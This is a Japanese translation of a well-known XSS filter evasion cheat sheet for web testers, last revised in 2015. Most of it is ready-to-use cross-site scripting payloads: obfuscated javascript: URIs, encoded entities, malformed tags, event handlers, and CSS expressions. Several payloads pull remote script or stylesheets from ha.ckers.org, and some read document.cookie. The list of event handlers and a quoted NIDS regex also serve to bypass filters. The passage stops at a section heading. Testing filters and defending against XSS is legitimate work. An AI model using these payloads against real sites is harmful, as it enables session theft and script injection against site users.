この文書は2016年以降更新されていません
XSS フィルター回避チートシート
最終改訂日 (yy/mm/dd):2015/10/12
はじめに
- 1 はじめに
- 2 テスト
- 2.1 XSS ロケーター
- 2.2 XSS ロケーター (短縮版)
- 2.3 フィルター回避なし
- 2.4 JavaScript ディレクティブを使用したイメージ XSS
- 2.5 引用符なし、セミコロンなし
- 2.6 大文字小文字を区別する XSS 攻撃ベクトル
- 2.7 HTML エンティティ
- 2.8 抑音符号の難読化
- 2.9 誤った形式の A タグ
- 2.10 誤った形式の IMG タグ
- 2.11 fromCharCode
- 2.12 SRC タグを初期化して、SRC ドメインを確認するフィルターを通過する
- 2.13 空にすることによる SRC タグの初期化
- 2.14 完全に除去することによる SRC タグの初期化
- 2.15 On error アラート
- 2.16 IMG onerror および javascript アラートのエンコード
- 2.17 10 進数の HTML 文字の参照
- 2.18 末尾にセミコロンを使用しない、10 進数の HTML 文字の参照
- 2.19 末尾にセミコロンを使用しない、16 進数の HTML 文字の参照
- 2.20 埋め込みタブ
- 2.21 埋め込みエンコードタブ
- 2.22 改行の埋め込みによる XSS の中断
- 2.23 復帰の埋め込みによる XSS の中断
- 2.24 Null 値による JavaScript ディレクティブの中断
- 2.25 XSS のイメージでの JavaScript 前のスペースおよびメタ文字
- 2.26 英数字以外の XSS
- 2.27 外側の左括弧
- 2.28 スクリプトの終了タグなし
- 2.29 スクリプトタグにおけるプロトコル解決
- 2.30 片方の括弧がない HTML/JavaScript XSS ベクトル
- 2.31 二重左不等号括弧
- 2.32 JavaScript エスケープのエスケープ
- 2.33 タイトルタグの終了
- 2.34 INPUT イメージ
- 2.35 BODY イメージ
- 2.36 IMG Dynsrc
- 2.37 IMG lowsrc
- 2.38 List-style-image
- 2.39 イメージ内の VBscript
- 2.40 Livescript (旧バージョンの Netscape のみ)
- 2.41 BODY タグ
- 2.42 イベントハンドラ
- 2.43 BGSOUND
- 2.44 & JavaScript インクルード
- 2.45 スタイルシート
- 2.46 リモートスタイルシート
- 2.47 リモートスタイルシート パート 2
- 2.48 リモートスタイルシート パート 3
- 2.49 リモートスタイルシート パート 4
- 2.50 XSS で JavaScript を中断する STYLE タグ
- 2.51 コメントを使用して式を中断する STYLE 属性
- 2.52 式付きの IMG STYLE
- 2.53 STYLE タグ (旧バージョンの Netscape のみ)
- 2.54 背景イメージを使用する STYLE タグ
- 2.55 背景を使用する STYLE タグ
- 2.56 STYLE 属性を持つ匿名 HTML
- 2.57 ローカル htc ファイル
- 2.58 US-ASCII エンコード
- 2.59 META
- 2.60 IFRAME
- 2.61 IFRAME イベントベース
- 2.62 FRAME
- 2.63 TABLE
- 2.64 DIV
- 2.65 Downlevel-Hidden ブロック
- 2.66 BASE タグ
- 2.67 OBJECT タグ
- 2.68 XSS を含む Flash 動画を埋め込むことができる EMBED タグの使用
- 2.69 XSS ベクトルを含むことができる SVG の埋め込み
- 2.70 Flash 内で ActionScript を使用して XSS ベクトルを難読化する
- 2.71 CDATA 難読化による XML データアイランド
- 2.72 XML データアイランドを使用して生成された埋め込み JavaScript でローカルでホストされた XML
- 2.73 XML での HTML+TIME
- 2.74 数文字しか挿入できず、".js" に対してフィルターする場合
- 2.75 SSI (サーバーサイドインクルード)
- 2.76 PHP
- 2.77 IMG 埋め込みコマンド
- 2.78 Cookie の操作
- 2.79 UTF-7 エンコード
- 2.80 HTML 引用符のカプセル化を使用した XSS
- 2.81 URL 文字列回避
- 2.81.1 IP によるホスト名の作成
- 2.81.2 URL エンコード
- 2.81.3 Dword エンコード
- 2.81.4 Hex エンコード
- 2.81.5 Octal エンコード
- 2.81.6 混合エンコード
- 2.81.7 プロトコル解決のバイパス
- 2.81.8 Google "feeling lucky" パート 1
- 2.81.9 Google "feeling lucky" パート 2
- 2.81.10 Google "feeling lucky" パート 3
- 2.81.11 cnames の除去
- 2.81.12 絶対 DNS の追加ドット
- 2.81.13 JavaScript リンクロケーション:
- 2.81.14 攻撃ベクトルとしてのコンテンツ置換
- 2.82 文字エスケープシーケンス
- 3 文字エンコードおよび IP 難読化計算機能
- 4 著者と編集者
- 5 その他のチートシート
テスト
このチートシートは、XSS 攻撃の基本を既に理解しており、フィルター回避の意味をより詳しく理解したいユーザーを対象にしています。
これらのクロスサイトスクリプティング (XSS) 手法の大半は、スクリプトの下部にリストされているブラウザーでテスト済みです。
XSS ロケーター
次の文字列を挿入します。特別な XSS ベクトル要件がなくてもスクリプトが脆弱な場合は通常、”XSS" という単語がポップアップされます。URL エンコーダを使用して、文字列全体をエンコードしてください。ヒント: 急いでページをチェックする必要があるなら、"<PLAINTEXT>" タグを挿入するだけで多くの場合十分です。出力が明示的に破壊されるので、XSS に対して脆弱かどうかを確認できます。
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
XSS ロケーター (短縮版)
スペースに余裕がなく、ページ内に脆弱な JavaScript が含まれていないことがわかっている場合、この文字列は、コンパクトな XSS インジェクションチェックとして最適です。挿入後のソースを確認し、<XSS が &<XSS に変換されているかどうかを調べることで、脆弱かどうか確認します。
'';!--"<XSS>=&{()}
フィルター回避なし
これは通常の XSS JavaScript インジェクションであり、XSS フィルターで捕捉される可能性が高いのですが、最初にこれを試すことを推奨します (最新のブラウザーの多くでは引用符は必要ないため、ここでも省略しています)。
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
イメージタグを使用した XSS
イメージタグを使用した XSS (IE 7.0 は、イメージのコンテキストで JavaScript ディレクティブをサポートしていませんが、他のコンテキストではサポートしています。以下の例は、他のタグと同様に動作するものとして示されています。)
<IMG SRC="javascript:alert('XSS');">
引用符なし、セミコロンなし
<IMG SRC=javascript:alert('XSS')>
大文字小文字を混在させた XSS 攻撃
<IMG SRC=JaVaScRiPt:alert('XSS')>
HTML エンティティ
XSS 攻撃が成功するにはセミコロンが必要です。
<IMG SRC=javascript:alert("XSS")>
バッククォート文字を使った難読化
二重引用符と一重引用符の両方を使用する必要がある場合、バッククォート文字で JavaScript 文字列を囲むとよいでしょう。XSS フィルターの多くがバッククォート文字を認識しないこともあり、有用な方法です。
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
不正な形式の A タグ
HREF 属性を省略して、XSS に必要な部分だけを示します... David Cross による投稿です。Chromeで確認済みです。
<a onmouseover="alert(document.cookie)">xxs link</a>
Chrome は、ユーザーのために欠落した引用符を補ってくれます... 引用符がないままにしていても、Chrome は URL やスクリプトの適切な場所に引用符を配置してくれます。
<a onmouseover=alert(document.cookie)>xxs link</a>
不正な形式の IMG タグ
Begeek が発見したものを元にクリーンアップされ、すべてのブラウザーで動作するように短縮化されています。スクリプト部分は引用符で囲まれているように見えますが、処理の緩いレンダリングエンジンでは、IMG タグ内に XSS スクリプトが置かれていると認識してしまいます。そのような挙動は、元々、ずさんなコードに対応することを目的としていたと思われますが、これによって、HTML タグを正しく解析するのが非常に難しくなります。
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
fromCharCode
引用符の類が許可されない場合には、JavaScript の fromCharCode 関数呼出しを eval() 関数で処理することで、必要な XSS スクリプトを生成できます。
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
SRC 属性に空のページ内アンカーを設定することで、SRC ドメインフィルターを回避する
大半の SRC ドメインフィルターを回避します。Javascript コードのイベントメソッドへの挿入は、Form、Iframe、Input、Embed などの HTML タグタイプに応用できます。また、onblur や onclick などの関連イベントにも代入できるため、ここで挙げた多くのインジェクションに関して多数のバリエーションを提供できます。 David Cross による投稿。
Abdullah Hussam(@Abdulahhusam) による編集。
<IMG SRC=# onmouseover="alert('xxs')">
SRC タグを空のままにする
<IMG SRC= onmouseover="alert('xxs')">
SRC タグを完全に除去する
<IMG onmouseover="alert('xxs')">
On error アラート
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
IMG onerror および javascript アラートのエンコード
<img src=x onerror="javascript:alert('XSS')">
HTML 数値文字参照(10進数)
javascript: ディレクティブを <IMG タグ内で使用するすべての XSS の例は、Firefox や Gecko レンダリングエンジンモードの Netscape 8.1 以降では動作しません。
<IMG SRC=javascript:alert( 'XSS')>
末尾にセミコロンをつけない HTML 数値文字参照(10進数)
これは、"&#XX;" というパターンを見つけようとする XSS 対策に対して多くの場合効果的です。大半のユーザーはパディングのことを知らないからです。最大 7 桁まで 0 パディングしても数字として認識されます。また、$tmp_string =~ s/.*\&#(\d+);.*/$1/; のようにして文字列のデコードを試みるユーザーにも有効です。このデコード方法では、HTML エンコード文字列の終わりにセミコロンが必須という誤った前提に立っています (実際、このようなケースを見たことがあります)。
<IMG SRC=javascript:a& #0000108ert('XSS')>
末尾にセミコロンを使用しない、HTML 数値文字参照(16進数)
これも、上記の $tmp_string =~ s/.*\&#(\d+);.*/$1/; というデコードによる検出を回避できる XSS 攻撃手法です。このデコードでは "#" 記号の後に数字があることを前提としていますが、これは 16 進数値文字参照には当てはまりません。
<IMG SRC=javascript:alert('XSS')>
タブ文字の埋め込み
スクリプトを検知させないようにするために使用されます。
<IMG SRC="jav ascript:alert('XSS');">
エンコードしたタブ文字の埋め込み
こちらも同様です。
<IMG SRC="jav	ascript:alert('XSS');">
改行文字の埋め込み
一部の Web サイトでは、09 から 13 (10 進数) のいずれの文字もこの攻撃に使えるとしています。しかしそれは誤りです。09 (水平タブ)、10 (改行)、13 (復帰) のみが有効です。詳しくは、ASCII 表を参照してください。以下に 4 つの例を示します。
<IMG SRC="jav
ascript:alert('XSS');">
復帰文字の埋め込み
(注: 上記のパディングのことを考慮すると、もっと長い文字列を作ることもできます。0 は省略して解釈されるためです。16 進数や 10 進数の表記が 2 文字または 3 文字であることを前提としたフィルターがよくありますが、実際には、1 文字から 7 文字までの表記を使うことができます)。
<IMG SRC="jav
ascript:alert('XSS');">
Null 文字の埋め込み
Null 文字の埋め込みも XSS 攻撃に使うことができますが、上記とは異なり、Burp Proxy などを使用して直接挿入するか、URL 文字列内で %00 を使用する必要があります。あるいは、独自のインジェクションツールを作成するのであれば、vim (キー入力 ^V^@ で null 文字を入力できる) または以下のプログラムのいずれかを使用して、テキストファイル内に null 文字を入力することができます。おっと、訂正。旧バージョンの Opera (Windows の場合は 7.11 あたり) では文字 173 (ソフトハイフン制御文字) に対しても脆弱でした。しかし、null 文字 %00 は、より有用です。次の例のようなバリエーションで、特定のフィルターをバイパスしたこともあります。
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
JavaScript 前のスペースおよびメタ文字
これは、パターンマッチが "javascript:" という単語でスペースを考慮していない場合有効です。レンダリングしないため、これは正しい前提ですが、そのため、引用符と "javascript:" キーワードの間にスペースを入れることができないという誤った前提ができています。実際には、10 進数で 1 から 32 までの任意の文字を持つことができます。
<IMG SRC="  javascript:alert('XSS');">
英数字以外の XSS
Firefox の HTML パーサーでは、HTML キーワードの後の英数字以外の文字は無効という前提があり、HTML タグの後にある英数字以外の文字は空白文字または無効なトークンと見なします。問題は、XSS フィルターによっては、検出しようとしているタグが空白文字で区切られているという前提で処理を行っているかもしれないということです。例えば、"<SCRIPT\s" と "<SCRIPT/XSS\s" を異なるトークンと見なすかもしれません。
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Rsnake ファザーでは、上記と同じ考え方に基づきつつ、さらに拡張した手法を使っています。Gecko レンダリングエンジンでは、イベントハンドラと等号の間に、アルファベット、数字、引用符、括弧などの文字以外の任意の文字を置くことができるため、XSS フィルターを容易にバイパスできます。以下のようにバッククォート文字も使えることに注意してください。
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Yair Amit によって、IE と Gecko のレンダリングエンジンに多少の動作の違いがあることがわかりましたが、タグとパラメーターの間に、空白文字を入れずにスラッシュ文字をはさむことができます。空白文字が許可されないシステムでは役に立つかもしれません。
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
余計な左括弧
Franz Sedlmaier の投稿によれば、この XSS ベクトルは特定の XSS 検出エンジンによる検出を回避できます。この種の XSS 検出エンジンでは、開き括弧とそれに対応する閉じ括弧からなる組み合わせを識別して、その中にあるタグを検出します。より効率的な Boyer-Moore などのアルゴリズムを使用して、開き括弧とそれに続くタグからなる文字列を検出する (もちろん難読化されたものをデコードした後で) といったことを行いません。二重スラッシュは、外側の閉じ括弧をコメント化して JavaScript エラーを抑制するためのものです。
<<SCRIPT>alert("XSS");//<</SCRIPT>
スクリプトの終了タグなし
Firefox と Gecko レンダリングエンジンモードの Netscape 8.1 では、閉じタグの "></SCRIPT>" という部分は実際には必要ありません。Firefox では、HTML タグは閉じるのが安全という前提に立ち、終了タグを自動的に追加してくれます。よく考えられているものです! 次の例と異なり (Firefox には影響ありませんが)、後ろに追加の HTML タグは必要ありません。また、必要なら引用符の追加もできますが、一般的には不要です。挿入された場合に、HTML が最終的にどのように見えるかはわかりません。
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
スクリプトタグにおけるプロトコル解決
この特定のバリアントは、Łukasz Pilorz によって投稿されました。一部は下記の Ozh のプロトコル解決のバイパスに基づいています。このクロスサイトスクリプティングの例は、IE、IE レンダリングモードの Netscape、Opera で、</SCRIPT> タグを末尾に追加した場合に動作します。しかし、これはスペースが問題になっている場合、またドメインが短ければ短いほど良い場合に特に有効です。エンコードのタイプに関係なく、".j" は有効です。ブラウザーが、SCRIPT タグのコンテキストで認識しているためです。
<SCRIPT SRC=//ha.ckers.org/.j>
片方の括弧がない HTML/JavaScript XSS ベクトル
Firefox と異なり、IE レンダリングエンジンは、ページに追加タグを追加しませんが、イメージで javascript: ディレクティブの使用を許可しています。右不等号括弧が必要ないため、これはベクトルとして有効です。これは、何らかの HTML タグがあり、その下にクロスサイトスクリプティングのベクトルを挿入できることを前提としています。終了タグ ">" がなくても、下にあるタグにより閉じられます。注: 下にある HTML の内容によっては、HTML が壊れます。以下の NIDS 正規表現のようになります。/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">".これは、<IMG タグではなく、終了タグがない <IFRAME タグを使用して遭遇した、実際の XSS フィルターに対しても有効でした。
<IMG SRC="javascript:alert('XSS')"
二重左不等号括弧
右不等号括弧ではなく、左不等号括弧をベクトルの最後で使用すると、Netscape Gecko レンダリングで異なる動作が発生します。この括弧がない場合、Firefox は動作しますが、Netscape は動作しません。
<iframe src=http://ha.ckers.org/scriptlet.html <
JavaScript エスケープのエスケープ
アプリケーションが、JavaScript 内に一部のユーザー情報を出力するために作成された場合 (<SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>)、および独自の JavaScript をそこに挿入したいが、サーバー側のアプリケーションが特定の引用符をエスケープしている場合、エスケープ文字をエスケープして、回避できます。これが挿入されると、<SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> になり、最後に二重引用符がアンエスケープされるため、クロスサイトスクリプティングのベクトルが発生します。XSS ロケーターは次のメソッドを使用します。
\";alert('XSS');//
また、正しい JSON または Javascript エスケープが埋め込みデータに適用済みで HTML エンコードに適用されていない場合、スクリプトブロックを終了し、独自のブロックを開始する方法もあります。
</script><script>alert('XSS');</script>
タイトルタグの終了
これは、<TITLE> タグを閉じる単純な XSS ベクトルで、悪意のあるクロスサイトスクリプティング攻撃をカプセル化します。
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
INPUT イメージ
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
BODY イメージ
<BODY BACKGROUND="javascript:alert('XSS')">
IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
IMG lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
List-style-image
箇条書きの埋め込みイメージを処理する際に比較的厄介な問題です。JavaScript ディレクティブであるため、IE レンダリングエンジンでのみ動作します。特別に有効なクロスサイトスクリプティングベクトルではありません。
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
イメージ内の VBscript
<IMG SRC='vbscript:msgbox("XSS")'>
Livescript (旧バージョンの Netscape のみ)
<IMG SRC="livescript:[code]">
BODY タグ
メソッドでは、XSS 攻撃を実施するために、"javascript:" または "<SCRIPT..." のバリアントを使用する必要がありません。 Dan Crowley は、等号の前にスペースを配置できると追加で指摘しています ("onload=" != "onload =")。
<BODY ONLOAD=alert('XSS')>
イベントハンドラ
前述と同様の XSS 攻撃で使用できます (これは、この資料の作成時点で、ネットで最も包括的なリストです)。HTML+TIME 更新に関して、Rene Ledosquet に謝意を表します。
Dottoro Web リファレンスにも優れた JavaScript のイベントのリストがあります。
-
FSCommand()
(埋め込み Flash オブジェクト内から実行するときに攻撃者が使用できます) -
onAbort()
(ユーザーがイメージの読み込みを中止したとき) -
onActivate()
(オブジェクトが動的要素として設定されたとき) -
onAfterPrint()
(ユーザーが印刷、または印刷ジョブをプレビューした後アクティブ化) -
onAfterUpdate()
(ソースオブジェクト内のデータ更新後、データオブジェクトでアクティブ化) -
onBeforeActivate()
(オブジェクトが動的要素として設定される前に実行) -
onBeforeCopy()
(選択したものがクリップボードにコピーされる直前に攻撃者は攻撃文字列を実行します。攻撃者は、execCommand("Copy")
関数を使用してこれを実行できます) -
onBeforeCut()
(攻撃者は、セッション切断直前に攻撃文字列を実行) -
onBeforeDeactivate()
(activeElement が現在のオブジェクトから変更された直後に実行) -
onBeforeEditFocus()
(編集可能な要素に含まれているオブジェクトが UI アクティブ化状態になる前、または編集可能なコンテナオブジェクトが選択された制御になったときに実行) -
onBeforePaste()
(ユーザーは、execCommand("Paste")
関数を使用して、貼り付けをするように仕向けられたり、強制されたりします) -
onBeforePrint()
(ユーザーは、印刷するように仕向けられます。あるいは、攻撃者が、print()
関数またはexecCommand("Print")
関数を使用できます) -
onBeforeUnload()
(ユーザーを、ブラウザーを終了するように仕向ける必要があります。攻撃者は、親から生成された場合でなければ、ウィンドウをアンロードできません) -
onBeforeUpdate()
(ソースオブジェクト内のデータ更新前に、データオブジェクトでアクティブ化します) -
onBegin()
(要素のタイムラインが開始されると即時に onbegin イベントが実行されます) -
onBlur()
(別のポップアップが読み込まれ、ウィンドウがフォーカスを失った場合) -
onBounce()
(マーキーオブジェクトの動作プロパティが "alternate" に設定され、マーキーのコンテンツがウィンドウの片方の端に到達したときに実行されます) -
onCellChange()
(データプロバイダーでデータが変更になると実行されます) -
onChange()
(選択、テキスト、または TEXTAREA フィールドがフォーカスを失い、値が変更された場合) -
onClick()
(フォームがクリックされた場合) -
onContextMenu()
(ユーザーが攻撃領域を右クリックする必要があります) -
onControlSelect()
(ユーザーがオブジェクトの制御を選択しようとすると実行されます) -
onCopy()
(ユーザーが何かをコピーするか、またはexecCommand("Copy")
コマンドを使用して攻略される必要があります) -
onCut()
(ユーザーが何かをコピーするか、またはexecCommand("Cut")
コマンドを使用して攻略される必要があります) -
onDataAvailable()
(ユーザーが要素内のデータを変更するか、または攻撃者が同じ機能を実行できる必要があります) -
onDataSetChanged()
(データソースオブジェクトによって公開されたデータセットが変更になった場合実行されます) -
onDataSetComplete()
(すべてのデータがデータソースオブジェクトから使用可能であることを示すために実行されます) -
onDblClick()
(フォーム要素またはリンクがダブルクリックされた場合) -
onDeactivate()
(activeElement が現在のオブジェクトから親ドキュメント内の別のオブジェクトに変更されたときに実行されます) -
onDrag()
(ユーザーがオブジェクトをドラッグする必要があります) -
onDragEnd()
(ユーザーがオブジェクトをドラッグする必要があります) -
onDragLeave()
(ユーザーがオブジェクトを有効な場所にドラッグして離す必要があります) -
onDragEnter()
(ユーザーがオブジェクトを有効な場所にドラッグする必要があります) -
onDragOver()
(ユーザーがオブジェクトを有効な場所にドラッグする必要があります) -
onDragDrop()
(ユーザーがファイルなどのオブジェクトをブラウザーウィンドウにドロップします) -
onDragStart()
(ユーザーがドラッグ操作を開始すると発生します) -
onDrop()
(ユーザーがファイルなどのオブジェクトをブラウザーウィンドウにドロップします) -
onEnd()
(タイムラインが終了すると onEnd イベントが発生します) -
onError()
(ドキュメントまたはイメージの読み込みによってエラーが発生します) -
onErrorUpdate()
(データソースオブジェクト内の関連データの更新時にエラーが発生すると、データバインドオブジェクトで実行されます) -
onFilterChange()
(仮想フィルターの状態変更が完了すると実行されます) -
onFinish()
(マーキーがループを終了すると攻撃者はエクスプロイトを作成できます) -
onFocus()
(ウィンドウがフォーカスを取得すると、攻撃者は攻撃文字列を実行します) -
onFocusIn()
(ウィンドウがフォーカスを取得すると、攻撃者は攻撃文字列を実行します) -
onFocusOut()
(ウィンドウがフォーカスを失うと、攻撃者は攻撃文字列を実行します) -
onHashChange()
(ドキュメントの現在のアドレスのフラグメント ID 部分が変更されると実行されます) -
onHelp()
(ウィンドウにフォーカスがある間にユーザーが F1 キーを押すと、攻撃者は攻撃文字列を実行します) -
onInput()
(要素のテキストコンテンツがユーザーインターフェイス を使用して変更された場合) -
onKeyDown()
(ユーザーがキーを押した場合) -
onKeyPress()
(ユーザーがキーを押すか、キーを押したままにした場合) -
onKeyUp()
(ユーザーがキーを離した場合) -
onLayoutComplete()
(ユーザーが印刷、または印刷のプレビューを実行した場合) -
onLoad()
(ウィンドウが読み込まれた後、攻撃者は攻撃文字列を実行します) -
onLoseCapture()
(releaseCapture()
メソッドによって攻略できます) -
onMediaComplete()
(ストリーミングメディアファイルが使用されると、ファイルの再生が開始される前にこのイベントが実行されます) -
onMediaError()
(ユーザーはブラウザーでメディアファイルを含むページを開き、問題があるとイベントが実行されます) -
onMessage()
(ドキュメントがメッセージを受け取ると実行されます) -
onMouseDown()
(攻撃者は、ユーザーにイメージをクリックさせる必要があります) -
onMouseEnter()
(カーソルがオブジェクトまたは領域の上に移動します) -
onMouseLeave()
(攻撃者は、ユーザーにイメージまたはテーブルの上にマウスカーソルを重ねてから、離させる必要があります) -
onMouseMove()
(攻撃者は、ユーザーにイメージまたはテーブルにマウスカーソルを重ねさせる必要があります) -
onMouseOut()
(攻撃者は、ユーザーにイメージまたはテーブルの上にマウスカーソルを重ねてから、離させる必要があります) -
onMouseOver()
(カーソルがオブジェクトまたは領域の上に移動します) -
onMouseUp()
(攻撃者は、ユーザーにイメージをクリックさせる必要があります) -
onMouseWheel()
(攻撃者は、ユーザーにマウスホイールを使用させる必要があります) -
onMove()
(ユーザーまたは攻撃者がページを移動した場合) -
onMoveEnd()
(ユーザーまたは攻撃者がページを移動した場合) -
onMoveStart()
(ユーザーまたは攻撃者がページを移動した場合) -
onOffline()
(オンラインモードで動作していたブラウザーがオフラインでの動作を開始すると発生します) -
onOnline()
(オフラインモードで動作していたブラウザーがオンラインでの動作を開始すると発生します) -
onOutOfSync()
(タイムラインで定義されたとおりの要素によるメディアの再生を中断します) -
onPaste()
(ユーザーが貼り付けを行うか、または攻撃者がexecCommand("Paste")
関数を使用する必要があります) -
onPause()
(body 要素など、タイムラインが一時停止したときにアクティブであるあらゆる要素で onpause イベントが実行されます) -
onPopState()
(ユーザーがセッション履歴をナビゲートすると実行されます) -
onProgress()
(攻撃者は、Flash 動画が読み込まれたときにこれを使用します) -
onPropertyChange()
(ユーザーまたは攻撃者は要素プロパティを変更する必要があります) -
onReadyStateChange()
(ユーザーまたは攻撃者は要素プロパティを変更する必要があります) -
onRedo()
(ユーザーが元に戻すトランザクション履歴をたどって前に進んだ場合) -
onRepeat()
(初回のサイクル全体を除き、タイムラインの繰り返しごとにイベントが実行されます) -
onReset()
(ユーザーまたは攻撃者がフォームをリセットした場合) -
onResize()
(ユーザーがウィンドウのサイズを変更した場合、または攻撃者が次のように自動的に初期化した場合:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
) -
onResizeEnd()
(ユーザーがウィンドウのサイズを変更した場合、または攻撃者が次のように自動的に初期化した場合:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
) -
onResizeStart()
(ユーザーがウィンドウのサイズを変更した場合、または攻撃者が次のように自動的に初期化した場合:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
) -
onResume()
(body 要素など、タイムラインが再開したときにアクティブになったあらゆる要素で onresume イベントが実行されます) -
onReverse()
(要素に 2 回以上の repeatCount がある場合、タイムラインが逆再生を開始するたびにこのイベントが実行されます) -
onRowsEnter()
(ユーザーまたは攻撃者は、データソース内の行を変更する必要があります) -
onRowExit()
(ユーザーまたは攻撃者は、データソース内の行を変更する必要があります) -
onRowDelete()
(ユーザーまたは攻撃者は、データソース内の行を削除する必要があります) -
onRowInserted()
(ユーザーまたは攻撃者は、データソース内に行を挿入する必要があります) -
onScroll()
(ユーザーがスクロールするか、または攻撃者がscrollBy()
関数を使用する必要があります) -
onSeek()
(タイムラインが順再生以外の方向に再生を開始しようとすると onreverse イベントが実行されます) -
onSelect()
(ユーザーがテキストを選択するか、または攻撃者がwindow.document.execCommand("SelectAll");
のように自動的に初期化する必要があります) -
onSelectionChange()
(ユーザーがテキストを選択するか、または攻撃者がwindow.document.execCommand("SelectAll");
のように自動的に初期化する必要があります) -
onSelectStart()
(ユーザーがテキストを選択するか、または攻撃者がwindow.document.execCommand("SelectAll");
のように自動的に初期化する必要があります) -
onStart()
(各マーキーループの開始時に実行されます) -
onStop()
(ユーザーが停止ボタンを押すか、Web ページから離れる必要があります) -
onStorage()
(ストレージ領域が変更された場合) -
onSyncRestored()
(タイムラインで実行するように定義されたとおりの要素によるメディアの再生をユーザーが中断します) -
onSubmit()
(攻撃者またはユーザーがフォームを送信する必要があります) -
onTimeError()
(ユーザーまたは攻撃者が、dur などの時間プロパティを無効な値に設定した場合) -
onTrackChange()
(ユーザーまたは攻撃者が、再生リストのトラックを変更した場合) -
onUndo()
(ユーザーが元に戻すトランザクション履歴を遡って逆に進んだ場合) -
onUnload()
(ユーザーが任意のリンクをクリックするか、または戻るボタンを押すか、攻撃者がクリックを強制した場合) -
onURLFlip()
(このイベントは、HTML+TIME (Timed Interactive Multimedia Extensions) メディアタグによって再生される Advanced Streaming Format (ASF) ファイルが ASF ファイルに埋め込まれたスクリプトコマンドを処理したときに実行されます) -
seekSegmentTime()
(これは、要素のセグメントタイムラインで指定されたポイントを特定し、そのポイントから再生を開始するメソッドです。セグメントは、AUTOREVERSE 属性を使用した逆再生を含む、タイムラインの繰り返しから構成されます。)
BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
& JavaScript includes
<BR SIZE="&{alert('XSS')}">
STYLE シート
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
リモートスタイルシート
(リモートスタイルシートなど簡単なものを利用することで、XSS を組み込み、style パラメーターを埋め込まれた式を使用して再定義できます。)これは、IE および IE レンダリングエンジンモードの Netscape 8.1 以降でのみ動作します。ページ上に JavaScript が組み込まれていることを示すものは何も存在しないことに注意してください。注: これらすべてのリモートスタイルシートの例では、body タグが使用されています。そのためベクトル自体の他に、コンテンツがページ上にないと動作しません。何もコンテンツがない空白のページの場合は、動作させるために、1 文字でもページに追加する必要があります。
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
リモートスタイルシート パート 2
前述と同じように動作しますが、<LINK> タグではなく、<STYLE> タグを使用します。このベクトルのわずかなバリエーションを使用して、Google デスクトップがハッキングされました。ベクトルの直後に HTML がありタグが閉じられている場合、</STYLE> の終了タグを除去できることを参考までに述べておきます。クロスサイトスクリプティング攻撃で、等号やスラッシュを保有できない場合に役立ちます。このようなケースは誰もが一度は経験するはずです。
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
リモートスタイルシート パート 3
これは、Opera 8.0 のみで動作しますが (9.x では動作しません)、かなり巧妙にできています。RFC2616 によれば、リンクヘッダーの設定は、HTTP1.1 の仕様にはありませんが、一部のブラウザーでは依然として許可されています (Firefox および Operaなど)。この場合のトリックは、ヘッダーを設定し (基本的には、Link:<http://ha.ckers.org/xss.css>; REL=stylesheet のような HTTP ヘッダーと変わりません) 、クロスサイトスクリプティングベクトルを持つリモートスタイルシートが JavaScript を実行します。これは、FireFox でサポートされていません。
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
リモートスタイルシート パート 4
これは Gecko レンダリングエンジンでのみ動作し、XUL ファイルを親ページにバインドすることで機能します。Netscape では、Gecko がより安全との前提に立っています。そのため、大半のサイトがこれに対して脆弱になっているという皮肉な結果があります。
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
XSS で JavaScript を中断する STYLE タグ
この XSS は、適時 IE をアラートの無限ループに送ります。
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
コメントを使用して式を中断する STYLE 属性
Roman Ivanov によって作成
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
式付きの IMG STYLE
これは、実際には前述の XSS ベクトルのハイブリッド版ですが、STYLE タグの解析がどれほど難しいかを示しています。上記と同様に、IE をループに送ることができます。
exp/*<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
STYLE タグ (旧バージョンの Netscape のみ)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
background-image を使用する STYLE タグ
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
background を使用する STYLE タグ
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
STYLE 属性を持つ匿名 HTML
IE6.0 および IE レンダリングエンジンモードの Netscape 8.1 以降では、左不等号括弧と 1 文字で始まる限り、作成した HTML タグが存在してもしなくても関係ありません。
<XSS STYLE="xss:expression(alert('XSS'))">
ローカル htc ファイル
